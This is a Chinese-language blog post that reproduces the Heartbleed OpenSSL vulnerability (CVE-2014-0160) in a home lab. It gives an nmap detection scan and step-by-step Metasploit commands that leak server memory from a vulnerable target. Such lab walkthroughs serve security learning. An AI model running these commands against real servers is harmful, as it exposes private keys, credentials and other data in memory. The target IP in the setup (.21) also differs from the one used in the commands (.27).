心脏滴血漏洞复现(CVE-2014-0160)

心脏滴血漏洞简述

2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。

利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

 

漏洞范围

OpenSSL 1.0.1版本

 

ssl、tls、dtls介绍

在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。

DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。

TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。

 

环境 搭建  kali—》192.168.115.28

           Bee-box—》192.168.115.21

  1. 启动靶机  

  1. 确定目标及端口信息。这里存在漏洞的靶机端口为8443

  1. 使用nmap  指定脚本扫描

nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.115.27

由下图检测结果可以看出存在心脏滴血漏洞

  1. github上也有一个项目,是专门检测心脏滴血漏洞的。

https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py

  1. 使用msf进行漏洞利用

打开msfconsole后,查找heartbleed模块:

Search heartbleed

use auxiliary/scanner/ssl/openssl_heartbleed

set RHOSTS 192.168.115.27

set RPORT 8443

set verbose true  #(设置verbose,这个设置要设置成true才能看到泄露的信息)

 exploit

posted @ 2019-09-03 11:38  Sylon  阅读(1261)  评论(0编辑  收藏  举报
Live2D